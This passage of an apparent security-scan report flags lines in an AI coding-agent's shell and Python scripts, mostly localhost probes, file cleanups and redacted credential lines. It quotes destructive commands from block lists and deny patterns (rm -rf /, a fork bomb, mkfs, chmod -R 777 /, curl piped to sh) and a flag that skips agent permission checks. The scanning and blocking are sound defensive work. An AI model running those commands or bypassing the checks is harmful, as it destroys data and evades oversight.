    #     answering there is its own form of fabrication. #   - Liveness uses the same contract as _app_runner_reconcile_port (curl -s #     -o /dev/null -m 2, no -f): any HTTP response (incl. 404/401/500) proves a
  • Network accessline 651
    #   - Liveness uses the same contract as _app_runner_reconcile_port (curl -s
  • Network accessline 654
    #   - curl-less hosts cannot verify, so we surface NOTHING (we never guess a URL #     we could not probe). This is the conservative direction for this helper: #     its whole job is "probe before surfacing", so no curl == no claim.
  • Network accessline 655
    #     we could not probe). This is the conservative direction for this helper: #     its whole job is "probe before surfacing", so no curl == no claim. # Args: $1 = framework default port (may be empty). Reads $LOKI_APP_PORT and
  • Network accessline 656
    #     its whole job is "probe before surfacing", so no curl == no claim.
  • Network accessline 659
    _probe_app_url() {     local default_port="$1"     command -v curl >/dev/null 2>&1 || return 0
  • Network accessline 660
    local default_port="$1"     command -v curl >/dev/null 2>&1 || return 0     local cand seen=" "
  • Network accessline 661
    command -v curl >/dev/null 2>&1 || return 0
  • Network accessline 667
    case "$seen" in *" $cand "*) continue ;; esac         seen="$seen$cand "         if curl -s -o /dev/null -m 2 "http://localhost:${cand}/" 2>/dev/null; then
  • Network accessline 668
    seen="$seen$cand "         if curl -s -o /dev/null -m 2 "http://localhost:${cand}/" 2>/dev/null; then             printf 'http://localhost:%s\n' "$cand"
  • Network accessline 669
    if curl -s -o /dev/null -m 2 "http://localhost:${cand}/" 2>/dev/null; then
  • Network accessline 670
    printf 'http://localhost:%s\n' "$cand"
  • Access to secretsline 727
    [Credential-related source omitted]
  • Access to secretsline 728
    [Credential-related source omitted]
  • Access to secretsline 730
    [Credential-related source omitted]
  • Network accessline 794
    _APP_RUNNER_METHOD="$LOKI_APP_COMMAND"         _detect_port "$_APP_RUNNER_METHOD"         _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 795
    _detect_port "$_APP_RUNNER_METHOD"         _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"         log_info "App Runner: using override command: $_APP_RUNNER_METHOD"
  • Network accessline 796
    _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 809
    _write_detection "docker-compose" "$_APP_RUNNER_METHOD"             log_info "App Runner: detected Docker Compose project"             _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 810
    log_info "App Runner: detected Docker Compose project"             _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"             return 0
  • Network accessline 811
    _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 833
    _write_detection "dockerfile" "$_APP_RUNNER_METHOD"             log_info "App Runner: detected Dockerfile"             _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 834
    log_info "App Runner: detected Dockerfile"             _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"             return 0
  • Network accessline 835
    _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 854
    _write_detection "nextjs-standalone" "$_APP_RUNNER_METHOD"             log_info "App Runner: detected Next.js standalone server"             _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 855
    log_info "App Runner: detected Next.js standalone server"             _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"             return 0
  • Network accessline 856
    _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 862
    _write_detection "npm-dev" "$_APP_RUNNER_METHOD"             log_info "App Runner: detected npm run dev"             _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 863
    log_info "App Runner: detected npm run dev"             _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"             return 0
  • Network accessline 864
    _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 869
    _write_detection "npm-start" "$_APP_RUNNER_METHOD"             log_info "App Runner: detected npm start"             _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 870
    log_info "App Runner: detected npm start"             _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"             return 0
  • Network accessline 871
    _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 887
    _write_detection "makefile" "$_APP_RUNNER_METHOD"             log_info "App Runner: detected Makefile target '$target'"             _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 888
    log_info "App Runner: detected Makefile target '$target'"             _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"             return 0
  • Network accessline 889
    _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 899
    _write_detection "django" "$_APP_RUNNER_METHOD"         log_info "App Runner: detected Django project"         _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 900
    log_info "App Runner: detected Django project"         _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"         return 0
  • Network accessline 901
    _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 918
    _write_detection "python-app" "$_APP_RUNNER_METHOD"         log_info "App Runner: detected app.py"         _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 919
    log_info "App Runner: detected app.py"         _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"         return 0
  • Network accessline 920
    _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 933
    _write_detection "python-main" "$_APP_RUNNER_METHOD"         log_info "App Runner: detected main.py"         _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 934
    log_info "App Runner: detected main.py"         _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"         return 0
  • Network accessline 935
    _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 943
    _write_detection "cargo" "$_APP_RUNNER_METHOD"         log_info "App Runner: detected Cargo.toml"         _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 944
    log_info "App Runner: detected Cargo.toml"         _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"         return 0
  • Network accessline 945
    _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 953
    _write_detection "go" "$_APP_RUNNER_METHOD"         log_info "App Runner: detected Go project"         _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 954
    log_info "App Runner: detected Go project"         _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"         return 0
  • Network accessline 955
    _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 981
    _write_detection "static" "$_APP_RUNNER_METHOD"         log_info "App Runner: detected static site (index.html) -> serving $static_root"         _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 982
    log_info "App Runner: detected static site (index.html) -> serving $static_root"         _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"         return 0
  • Network accessline 983
    _APP_RUNNER_URL="http://localhost:${_APP_RUNNER_PORT}"
  • Network accessline 1154
    # echoes the published host port of the web service, or nothing on any failure # (caller keeps the recorded port -- no regression). Never hard-fails. Docker's # own published mapping is authoritative, so no curl liveness guard is needed
  • Network accessline 1155
    # (caller keeps the recorded port -- no regression). Never hard-fails. Docker's # own published mapping is authoritative, so no curl liveness guard is needed # here (unlike the non-docker _app_runner_reconcile_port path).
  • Network accessline 1156
    # own published mapping is authoritative, so no curl liveness guard is needed
  • Access to secretsline 1174
    [Credential-related source omitted]
  • Dangerous shell operationline 1262
    # Conditional exec (HIGH-1 fix): only `exec` a SINGLE command. A compound
  • Dangerous shell operationline 1278
    docker rm -f "$_APP_RUNNER_DOCKER_CONTAINER" >/dev/null 2>&1 || true
  • Dangerous shell operationline 1303
    rm -f "$_pgid_file"
  • Network accessline 1337
    # port from _detect_port is kept when no valid runtime port is found             # (no regression). Docker's published mapping is authoritative, so no             # curl liveness guard is needed (cf. _app_runner_reconcile_port).
  • Network accessline 1339
    # curl liveness guard is needed (cf. _app_runner_reconcile_port).
  • Network accessline 1345
    log_info "App Runner: reconciled compose port ${_APP_RUNNER_PORT:-?} -> $_rt_port (runtime published mapping for service $_APP_RUNNER_WEB_SERVICE)"                     _APP_RUNNER_PORT="$_rt_port"                     _APP_RUNNER_URL="http:/
  • Network accessline 1346
    _APP_RUNNER_PORT="$_rt_port"                     _APP_RUNNER_URL="http://localhost:${_rt_port}"                 fi
  • Network accessline 1347
    _APP_RUNNER_URL="http://localhost:${_rt_port}"
  • Dangerous shell operationline 1423
    docker rm "$_APP_RUNNER_DOCKER_CONTAINER" 2>/dev/null || true
  • Dangerous shell operationline 1516
    rm -f "$_APP_RUNNER_DIR/app.pid"
  • Dangerous shell operationline 1517
    rm -f "$_APP_RUNNER_DIR/app.token"
  • Network accessline 1667
    # non-2xx on the root path (an API-only FastAPI/Express backend 404s on         # `/`, anything behind auth 401s). Those are serving correctly, so a         # status-strict probe (curl -f, which fails on >=400) would mark a healthy
  • Network accessline 1668
    # `/`, anything behind auth 401s). Those are serving correctly, so a         # status-strict probe (curl -f, which fails on >=400) would mark a healthy         # backend unhealthy and trigger a needless restart -> a restart storm /
  • Network accessline 1669
    # status-strict probe (curl -f, which fails on >=400) would mark a healthy
  • Network accessline 1675
    # is alive; "000" is curl's sentinel for connect-failure/timeout/reset         # and is the only thing we treat as a crash.         # If curl is unavailable we cannot probe HTTP at all; fall back to the
  • Network accessline 1676
    # and is the only thing we treat as a crash.         # If curl is unavailable we cannot probe HTTP at all; fall back to the         # old, more tolerant signal (PID alive == healthy) rather than declaring
  • Network accessline 1677
    # If curl is unavailable we cannot probe HTTP at all; fall back to the
  • Network accessline 1678
    # old, more tolerant signal (PID alive == healthy) rather than declaring         # every HTTP app wedged and triggering a restart storm. curl is the only         # HTTP client this function uses.
  • Network accessline 1679
    # every HTTP app wedged and triggering a restart storm. curl is the only
  • Network accessline 1681
    if ! command -v curl >/dev/null 2>&1; then
  • Network accessline 1686
    # On connect-failure/timeout curl already prints "000" via %{http_code}
  • Network accessline 1692
    local _http_code         _http_code=$(curl -s -o /dev/null -m 5 -w '%{http_code}' \
  • Network accessline 1693
    _http_code=$(curl -s -o /dev/null -m 5 -w '%{http_code}' \
  • Network accessline 1694
    "http://localhost:${_APP_RUNNER_PORT}/" 2>/dev/null || true)
  • Dangerous shell operationline 1862
    rm -f "$_APP_RUNNER_DIR/app.pid"
  • Dangerous shell operationline 1863
    rm -f "$_APP_RUNNER_DIR/app.token"
  • Dangerous shell operationline 1882
    rm -f "$_APP_RUNNER_DIR/app.pid"
  • Dangerous shell operationline 1883
    rm -f "$_APP_RUNNER_DIR/app.token"
  • Dangerous shell operationline 1903
    docker rm "$_APP_RUNNER_DOCKER_CONTAINER" 2>/dev/null || true
  • Dangerous shell operationline 1918
    rm -f "$_APP_RUNNER_DIR/app.pid"
  • Dangerous shell operationline 1919
    rm -f "$_APP_RUNNER_DIR/app.token"

autonomy/bmad-adapter.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/checklist-verify.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 376
    expected_status = check.get("expected_status", 200)                     try:                         req = urllib.request.Request(target_url, method="GET")
  • Network accessline 377
    try:                         req = urllib.request.Request(target_url, method="GET")                         resp = urllib.request.urlopen(req, timeout=min(timeout, 10))
  • Network accessline 378
    req = urllib.request.Request(target_url, method="GET")
  • Network accessline 379
    resp = urllib.request.urlopen(req, timeout=min(timeout, 10))

autonomy/completion-council.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 422
    [Credential-related source omitted]
  • Access to secretsline 428
    [Credential-related source omitted]
  • Access to secretsline 429
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 431
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 433
    [Credential-related source omitted]
  • Access to secretsline 504
    [Credential-related source omitted]
  • Access to secretsline 538
    [Credential-related source omitted]
  • Access to secretsline 539
    [Credential-related source omitted]
  • Dangerous shell operationline 544
    [Credential-related source omitted]
  • Access to secretsline 544
    [Credential-related source omitted]
  • Dangerous shell operationline 547
    [Credential-related source omitted]
  • Access to secretsline 547
    [Credential-related source omitted]
  • Access to secretsline 591
    [Credential-related source omitted]
  • Access to secretsline 592
    [Credential-related source omitted]
  • Access to secretsline 593
    [Credential-related source omitted]
  • Access to secretsline 594
    [Credential-related source omitted]
  • Access to secretsline 595
    [Credential-related source omitted]
  • Access to secretsline 596
    [Credential-related source omitted]
  • Access to secretsline 600
    [Credential-related source omitted]
  • Access to secretsline 877
    [Credential-related source omitted]
  • Access to secretsline 878
    [Credential-related source omitted]
  • Access to secretsline 879
    [Credential-related source omitted]
  • Access to secretsline 970
    [Credential-related source omitted]
  • Access to secretsline 976
    [Credential-related source omitted]
  • Access to secretsline 977
    [Credential-related source omitted]
  • Access to secretsline 978
    [Credential-related source omitted]
  • Access to secretsline 979
    [Credential-related source omitted]
  • Access to secretsline 980
    [Credential-related source omitted]
  • Access to secretsline 1088
    [Credential-related source omitted]
  • Access to secretsline 1092
    [Credential-related source omitted]
  • Access to secretsline 1110
    [Credential-related source omitted]
  • Access to secretsline 1135
    [Credential-related source omitted]
  • Access to secretsline 1136
    [Credential-related source omitted]
  • Access to secretsline 1139
    [Credential-related source omitted]
  • Access to secretsline 1149
    [Credential-related source omitted]
  • Access to secretsline 1168
    [Credential-related source omitted]
  • Access to secretsline 1172
    [Credential-related source omitted]
  • Access to secretsline 1173
    [Credential-related source omitted]
  • Access to secretsline 1175
    [Credential-related source omitted]
  • Access to secretsline 1177
    [Credential-related source omitted]
  • Access to secretsline 1182
    [Credential-related source omitted]
  • Access to secretsline 1185
    [Credential-related source omitted]
  • Access to secretsline 1234
    [Credential-related source omitted]
  • Access to secretsline 1235
    [Credential-related source omitted]
  • Access to secretsline 1236
    [Credential-related source omitted]
  • Access to secretsline 1263
    [Credential-related source omitted]
  • Access to secretsline 1339
    [Credential-related source omitted]
  • Dangerous shell operationline 1384
    mv -f "$_tmp" "$_rf" 2>/dev/null || rm -f "$_tmp" 2>/dev/null
  • Access to secretsline 1430
    [Credential-related source omitted]
  • Access to secretsline 1431
    [Credential-related source omitted]
  • Access to secretsline 1432
    [Credential-related source omitted]
  • Access to secretsline 1492
    [Credential-related source omitted]
  • Access to secretsline 1498
    [Credential-related source omitted]
  • Dangerous shell operationline 1517
    rm -f "$COUNCIL_STATE_DIR/gate-block.json"
  • Access to secretsline 1550
    [Credential-related source omitted]
  • Access to secretsline 1572
    [Credential-related source omitted]
  • Access to secretsline 1575
    [Credential-related source omitted]
  • Access to secretsline 1576
    [Credential-related source omitted]
  • Access to secretsline 1577
    [Credential-related source omitted]
  • Dangerous shell operationline 1655
    rm -f "$COUNCIL_STATE_DIR/heldout-block.json"
  • Dangerous shell operationline 1675
    rm -f "$COUNCIL_STATE_DIR/heldout-block.json"
  • Access to secretsline 1693
    [Credential-related source omitted]
  • Access to secretsline 1695
    [Credential-related source omitted]
  • Access to secretsline 1696
    [Credential-related source omitted]
  • Access to secretsline 1698
    [Credential-related source omitted]
  • Access to secretsline 1715
    [Credential-related source omitted]
  • Dangerous shell operationline 1745
    rm -f "$COUNCIL_STATE_DIR/heldout-block.json"
  • Dangerous shell operationline 1799
    rm -rf "$scratch" 2>/dev/null; echo "unknown"; return 0
  • Access to secretsline 1807
    [Credential-related source omitted]
  • Access to secretsline 1808
    [Credential-related source omitted]
  • Access to secretsline 1809
    [Credential-related source omitted]
  • Access to secretsline 1810
    [Credential-related source omitted]
  • Dangerous shell operationline 1828
    ( cd "$target" && git worktree remove --force "$wt" 2>/dev/null ); rm -rf "$scratch" 2>/dev/null
  • Dangerous shell operationline 1831
    ( cd "$wt" && eval "$timeout_bin 300 $test_cmd" >/dev/null 2>&1 )
  • Dangerous shell operationline 1834
    ( cd "$target" && git worktree remove --force "$wt" 2>/dev/null ); rm -rf "$scratch" 2>/dev/null
  • Access to secretsline 1880
    [Credential-related source omitted]
  • Access to secretsline 1885
    [Credential-related source omitted]
  • Access to secretsline 1886
    [Credential-related source omitted]
  • Access to secretsline 2021
    [Credential-related source omitted]
  • Dangerous shell operationline 2209
    mv "$inc_tmp" "$inconclusive_file" 2>/dev/null || rm -f "$inc_tmp" 2>/dev/null || true
  • Dangerous shell operationline 2218
    rm -f "$inconclusive_file"
  • Dangerous shell operationline 2304
    mv "$_det_tmp" "$_det_file" 2>/dev/null || rm -f "$_det_tmp" 2>/dev/null || true
  • Access to secretsline 2334
    [Credential-related source omitted]
  • Access to secretsline 2335
    [Credential-related source omitted]
  • Access to secretsline 2500
    [Credential-related source omitted]
  • Access to secretsline 2512
    [Credential-related source omitted]
  • Access to secretsline 2566
    [Credential-related source omitted]
  • Access to secretsline 2567
    [Credential-related source omitted]
  • Access to secretsline 2582
    [Credential-related source omitted]
  • Access to secretsline 2647
    [Credential-related source omitted]
  • Access to secretsline 2659
    [Credential-related source omitted]
  • Dangerous shell operationline 2749
    rm -f "$COUNCIL_STATE_DIR/evidence-block.json"
  • Access to secretsline 2913
    [Credential-related source omitted]
  • Access to secretsline 2939
    [Credential-related source omitted]
  • Access to secretsline 2940
    [Credential-related source omitted]
  • Access to secretsline 2941
    [Credential-related source omitted]
  • Access to secretsline 2942
    [Credential-related source omitted]
  • Access to secretsline 2943
    [Credential-related source omitted]
  • Dangerous shell operationline 3050
    rm -f "$COUNCIL_STATE_DIR/assumption-block.json"
  • Dangerous shell operationline 3065
    rm -f "$COUNCIL_STATE_DIR/assumption-block.json"
  • Dangerous shell operationline 3088
    mv "$ab_tmp" "$ab_file" 2>/dev/null || rm -f "$ab_tmp" 2>/dev/null || true
  • Dangerous shell operationline 3233
    rm -f "$_cv_pf" 2>/dev/null || true
  • Dangerous shell operationline 3436
    rm -f "$_dv_pf" 2>/dev/null || true
  • Access to secretsline 3547
    [Credential-related source omitted]
  • Access to secretsline 3728
    [Credential-related source omitted]
  • Access to secretsline 3731
    [Credential-related source omitted]
  • Access to secretsline 3734
    [Credential-related source omitted]
  • Access to secretsline 3804
    [Credential-related source omitted]
  • Access to secretsline 3950
    [Credential-related source omitted]
  • Access to secretsline 3994
    [Credential-related source omitted]
  • Access to secretsline 3996
    [Credential-related source omitted]
  • Access to secretsline 3997
    [Credential-related source omitted]
  • Access to secretsline 3998
    [Credential-related source omitted]
  • Access to secretsline 3999
    [Credential-related source omitted]
  • Access to secretsline 4000
    [Credential-related source omitted]
  • Access to secretsline 4001
    [Credential-related source omitted]
  • Access to secretsline 4003
    [Credential-related source omitted]
  • Access to secretsline 4050
    [Credential-related source omitted]
  • Access to secretsline 4053
    [Credential-related source omitted]
  • Access to secretsline 4056
    [Credential-related source omitted]
  • Access to secretsline 4076
    [Credential-related source omitted]
  • Access to secretsline 4083
    [Credential-related source omitted]
  • Access to secretsline 4084
    [Credential-related source omitted]
  • Access to secretsline 4086
    [Credential-related source omitted]
  • Access to secretsline 4095
    [Credential-related source omitted]
  • Access to secretsline 4153
    [Credential-related source omitted]
  • Access to secretsline 4155
    [Credential-related source omitted]
  • Access to secretsline 4156
    [Credential-related source omitted]
  • Access to secretsline 4157
    [Credential-related source omitted]
  • Access to secretsline 4159
    [Credential-related source omitted]
  • Access to secretsline 4254
    [Credential-related source omitted]
  • Access to secretsline 4276
    [Credential-related source omitted]
  • Access to secretsline 4284
    [Credential-related source omitted]
  • Access to secretsline 4398
    [Credential-related source omitted]
  • Access to secretsline 4409
    [Credential-related source omitted]
  • Access to secretsline 4437
    [Credential-related source omitted]
  • Access to secretsline 4461
    [Credential-related source omitted]
  • Access to secretsline 4462
    [Credential-related source omitted]
  • Access to secretsline 4463
    [Credential-related source omitted]
  • Access to secretsline 4464
    [Credential-related source omitted]
  • Access to secretsline 4501
    [Credential-related source omitted]
  • Access to secretsline 4505
    [Credential-related source omitted]
  • Access to secretsline 4543
    [Credential-related source omitted]
  • Access to secretsline 4612
    [Credential-related source omitted]
  • Access to secretsline 4617
    [Credential-related source omitted]
  • Access to secretsline 4620
    [Credential-related source omitted]
  • Access to secretsline 4647
    [Credential-related source omitted]
  • Access to secretsline 4649
    [Credential-related source omitted]
  • Access to secretsline 4652
    [Credential-related source omitted]
  • Access to secretsline 4912
    [Credential-related source omitted]

autonomy/config.example.yaml

  • Dangerous shell operationline 54
    blocked_commands: "rm -rf /,dd if=,mkfs,:(){ :|:& };:"

autonomy/context-tracker.py

  • Executable scriptline 1
    #!/usr/bin/env python3

autonomy/council-v2.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 232
    rm -rf "$da_dir"
  • Dangerous shell operationline 297
    rm -rf "$dir"
  • Access to secretsline 387
    [Credential-related source omitted]
  • Dangerous shell operationline 412
    rm -f "$_c2_sdk_pf" 2>/dev/null || true
  • Access to secretsline 549
    [Credential-related source omitted]
  • Access to secretsline 586
    [Credential-related source omitted]

autonomy/crash.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

autonomy/docker-run.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 12
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 186
    [Credential-related source omitted]
  • Access to secretsline 187
    [Credential-related source omitted]
  • Access to secretsline 227
    [Credential-related source omitted]
  • Dangerous shell operationline 276
    #     side effect: rm -f <project_dir>/.loki/docker/run.json (no error if absent)
  • Network accessline 303
    if command -v lsof >/dev/null 2>&1; then         ! lsof -i ":$port" >/dev/null 2>&1     elif command -v nc >/dev/null 2>&1; then
  • Network accessline 304
    ! lsof -i ":$port" >/dev/null 2>&1     elif command -v nc >/dev/null 2>&1; then         ! nc -z 127.0.0.1 "$port" >/dev/null 2>&1
  • Network accessline 305
    elif command -v nc >/dev/null 2>&1; then
  • Network accessline 306
    ! nc -z 127.0.0.1 "$port" >/dev/null 2>&1
  • Dangerous shell operationline 309
    ! (exec 3<>"/dev/tcp/127.0.0.1/${port}") >/dev/null 2>&1
  • Network accessline 309
    ! (exec 3<>"/dev/tcp/127.0.0.1/${port}") >/dev/null 2>&1
  • Dangerous shell operationline 424
    } > "$tmp" || { rm -f "$tmp" 2>/dev/null; return 2; }
  • Dangerous shell operationline 426
    mv -f "$tmp" "${dir}/run.json" || { rm -f "$tmp" 2>/dev/null; return 2; }
  • Dangerous shell operationline 433
    rm -f "${project_dir}/.loki/docker/run.json" 2>/dev/null

autonomy/edit.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 56
    rm -f "$_LOKI_EDIT_COST_FILE"

autonomy/grill.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 148
    fi             if ! command -v claude >/dev/null 2>&1; then                 _grill_err "Claude Code CLI not found. Install: https://docs.anthropic.com/en/docs/claude-code"
  • Network accessline 149
    if ! command -v claude >/dev/null 2>&1; then                 _grill_err "Claude Code CLI not found. Install: https://docs.anthropic.com/en/docs/claude-code"                 return $GRILL_EXIT_ERROR
  • Network accessline 150
    _grill_err "Claude Code CLI not found. Install: https://docs.anthropic.com/en/docs/claude-code"
  • Dangerous shell operationline 220
    rm -f "$_gs_pf" 2>/dev/null || true
  • Network accessline 228
    fi             if ! command -v claude >/dev/null 2>&1; then                 _grill_err "Claude Code CLI not found. Install: https://docs.anthropic.com/en/docs/claude-code"
  • Network accessline 229
    if ! command -v claude >/dev/null 2>&1; then                 _grill_err "Claude Code CLI not found. Install: https://docs.anthropic.com/en/docs/claude-code"                 return $GRILL_EXIT_ERROR
  • Network accessline 230
    _grill_err "Claude Code CLI not found. Install: https://docs.anthropic.com/en/docs/claude-code"
  • Instruction override signalline 245
    _LOKI_PERM_ARGV=(--dangerously-skip-permissions)

autonomy/hooks/migration-hooks.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 197
    if ! eval "$test_cmd" > "$test_result_file" 2>&1; then
  • Dangerous shell operationline 200
    rm -f "$test_result_file"
  • Dangerous shell operationline 226
    rm -f "$test_result_file"
  • Dangerous shell operationline 241
    if ! eval "$test_cmd" >/dev/null 2>&1; then
  • Dangerous shell operationline 284
    if ! eval "$test_cmd" >/dev/null 2>&1; then
  • Dangerous shell operationline 498
    if ! rm -f "$snap.absent" 2>/dev/null; then
  • Dangerous shell operationline 513
    if ! rm -f "$snap" 2>/dev/null; then
  • Dangerous shell operationline 559
    if rm -f "$file_path" 2>/dev/null; then
  • Dangerous shell operationline 607
    if ! eval "$test_cmd" > "$test_result_file" 2>&1; then
  • Dangerous shell operationline 610
    rm -f "$test_result_file"
  • Dangerous shell operationline 651
    rm -f "$test_result_file"
  • Access to secretsline 690
    [Credential-related source omitted]
  • Access to secretsline 776
    [Credential-related source omitted]
  • Dangerous shell operationline 791
    out=$(cd "$codebase_path" && eval "$cmd" 2>"$errf")
  • Dangerous shell operationline 794
    err=$(cat "$errf" 2>/dev/null); rm -f "$errf"
  • Access to secretsline 802
    [Credential-related source omitted]
  • Access to secretsline 803
    [Credential-related source omitted]
  • Access to secretsline 804
    [Credential-related source omitted]
  • Access to secretsline 805
    [Credential-related source omitted]
  • Access to secretsline 806
    [Credential-related source omitted]
  • Access to secretsline 807
    [Credential-related source omitted]
  • Access to secretsline 811
    [Credential-related source omitted]
  • Access to secretsline 816
    [Credential-related source omitted]
  • Access to secretsline 840
    [Credential-related source omitted]
  • Access to secretsline 865
    [Credential-related source omitted]
  • Access to secretsline 866
    [Credential-related source omitted]
  • Access to secretsline 867
    [Credential-related source omitted]
  • Dangerous shell operationline 872
    cur_out=$(cd "$codebase_path" && eval "$cmd" 2>/dev/null)
  • Access to secretsline 879
    [Credential-related source omitted]
  • Access to secretsline 880
    [Credential-related source omitted]
  • Access to secretsline 886
    [Credential-related source omitted]
  • Access to secretsline 894
    [Credential-related source omitted]
  • Access to secretsline 898
    [Credential-related source omitted]
  • Access to secretsline 908
    [Credential-related source omitted]
  • Access to secretsline 913
    [Credential-related source omitted]
  • Access to secretsline 976
    [Credential-related source omitted]
  • Access to secretsline 979
    [Credential-related source omitted]
  • Access to secretsline 985
    [Credential-related source omitted]
  • Dangerous shell operationline 993
    if ! eval "$test_cmd" >/dev/null 2>&1; then
  • Dangerous shell operationline 1005
    if ! eval "$test_cmd" >/dev/null 2>&1; then
  • Dangerous shell operationline 1017
    if ! eval "$test_cmd" >/dev/null 2>&1; then
  • Dangerous shell operationline 1029
    if ! eval "$test_cmd" >/dev/null 2>&1; then

autonomy/hooks/quality-gate.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

autonomy/hooks/session-init.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]

autonomy/hooks/store-episode.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]

autonomy/hooks/track-metrics.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

autonomy/hooks/validate-bash.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 286
    [Credential-related source omitted]
  • Access to secretsline 287
    [Credential-related source omitted]
  • Dangerous shell operationline 339
    "rm -rf /"
  • Dangerous shell operationline 340
    "rm -rf ~"
  • Dangerous shell operationline 341
    "rm -rf \\\$HOME"
  • Dangerous shell operationline 345
    "chmod -R 777 /"
  • Dangerous shell operationline 356
    "rm -rf \.loki"
  • Dangerous shell operationline 357
    "rm -rf \./\.loki"
  • Dangerous shell operationline 358
    "rm .*\.loki/council/"
  • Dangerous shell operationline 359
    "rm .*\.loki/config\.yaml"
  • Dangerous shell operationline 360
    "rm .*\.loki/logs/bash-audit"
  • Dangerous shell operationline 361
    "rm .*\.loki/session\.lock"
  • Dangerous shell operationline 371
    # string: an unanchored or per-line match let `rm -rf /tmp/x; rm -rf /` and
  • Dangerous shell operationline 372
    # `rm -rf /tmp/x<newline>rm -rf /` ride the override. Only the segment that hit
  • Dangerous shell operationline 404
    # later rm resolves, so it disables the override. Over-denial is intended.
  • Network accessline 436
    # Succeeds when every segment hitting $1 is safe and at least one segment hits # (a pattern that only matches across segments, like `curl x | sh`, is unsafe).
  • Dangerous shell operationline 437
    # (a pattern that only matches across segments, like `curl x | sh`, is unsafe).
  • Network accessline 437
    # (a pattern that only matches across segments, like `curl x | sh`, is unsafe).
  • Dangerous shell operationline 451
    # A recursive rm whose target IS a temp root, or a bare glob directly under
  • Dangerous shell operationline 845
    # P12-26g-d: allow-grammar for recursive rm targets. A target is allowed only
  • Dangerous shell operationline 1053
    # A whole-target named variable (rm -r "$dir") is allowed;
  • Dangerous shell operationline 1081
    # find -exec rm -r {} + / \; : a bare {} is find's placeholder, not a brace.
  • Dangerous shell operationline 1109
    [ "${x##*/}" = "rm" ]
  • Access to secretsline 1158
    [Credential-related source omitted]

autonomy/intent.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

autonomy/issue-parser.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 6
